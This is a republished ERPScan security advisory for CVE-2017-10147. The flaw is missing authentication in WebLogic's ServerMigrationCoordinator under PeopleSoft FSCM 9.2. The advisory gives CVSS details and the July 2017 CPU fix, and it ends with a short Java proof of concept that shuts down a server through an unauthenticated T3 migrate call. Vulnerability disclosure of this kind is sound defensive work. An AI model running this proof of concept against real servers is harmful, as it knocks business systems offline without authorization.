Quantcast
Channel: Oracle PeopleSoft Security – ERPScan
Viewing all articles
Browse latest Browse all 26

[ERPSCAN-17-041] Unauthorized Container Shutdown In ServerMigrationCoordinator

$
0
0

Application: Oracle PeopleSoft
Versions Affected: PeopleSoft FSCM 9.2
Vendor: Oracle
Bug: Missing Authentication for Critical Function
Reported: 16.03.2017
Vendor response: 17.03.2017
Date of Public Advisory: 18.07.2017
Reference: Oracle CPU July 2017
Authors: Vahagn Vardanyan (ERPScan)

VULNERABILITY INFORMATION

Class: Missing Authentication
Risk: High
Impact: Impact on availability
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2017-10147

CVSS Information

CVSS Base Score v3: 8.6 / 10
CVSS Base Vector:

AV: Attack Vector (Related exploit range) Network (N)
AC: Attack Complexity (Required attack complexity) Low (L)
PR: Privileges Required (Level of privileges needed to exploit) None (N)
UI: User Interaction (Required user participation) None (N)
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component) Changed (C)
C: Impact to Confidentiality None (N)
I: Impact to Integrity None (N)
A: Impact to AvailabilityHigh (H)

VULNERABILITY DESCRIPTION

An attacker can use a special T3 request for stopping the remote server.

VULNERABLE PACKAGES

PeopleSoft FSCM 9.2

SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, implement Oracle CPU July 2017.

TECHNICAL DESCRIPTION

The vulnerability is presented in WebLogic/cluster/singleton/ServerMigrationCoordinator class in migrate functionality.

When we call the migrate function using T3 protocol, the PeopleSoft server will be stopped without authorization.

@Override
    public void migrate(final String serverName, final String sourceMachine, final String destinationMachine, final boolean sourceDown, final boolean destinationDown) throws ServerMigrationException {
        ServerMigrationTask task = this.taskMap.get(serverName);
        if (task == null) {
            task = new ServerMigrationTask(serverName, destinationMachine);
            if (MigrationDebugLogger.isDebugEnabled()) {
                MigrationDebugLogger.debug(serverName + " New Migration Task " + task);
            }
            this.taskMap.put(serverName, task);
            try {
                this.stopServer(sourceDown, task);
                this.startServer(destinationDown, task);
            }
            finally {
                this.taskMap.remove(serverName);
            }
            return;
        }
        throw new ServerMigrationException("Migration operation in progress", null);
    }

Proof of Concept

static boolean rem_server_stop(String PS_SERVER_IP, Server PS_SERVER_PORT) throws NamingException, JMSException, RemoteException, T3Exception, ServerMigrationException {
        Properties p = new Properties();
        p.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
        p.put(Context.PROVIDER_URL, "t3://"+PS_SERVER_IP+":"+PS_SERVER_PORT);
        Context ctx = new InitialContext(p);
        Object obj = ctx.lookup("weblogic/cluster/singleton/ServerMigrationCoordinator");
        Object o = PortableRemoteObject.narrow(obj, ServerMigrationCoordinator.class);
        ServerMigrationCoordinator h = (ServerMigrationCoordinator) o;
        h.migrate("PIA","а","any_data_or_ip", true, true);
        return false;
    }

The post [ERPSCAN-17-041] Unauthorized Container Shutdown In ServerMigrationCoordinator appeared first on ERPScan.


Viewing all articles
Browse latest Browse all 26

Trending Articles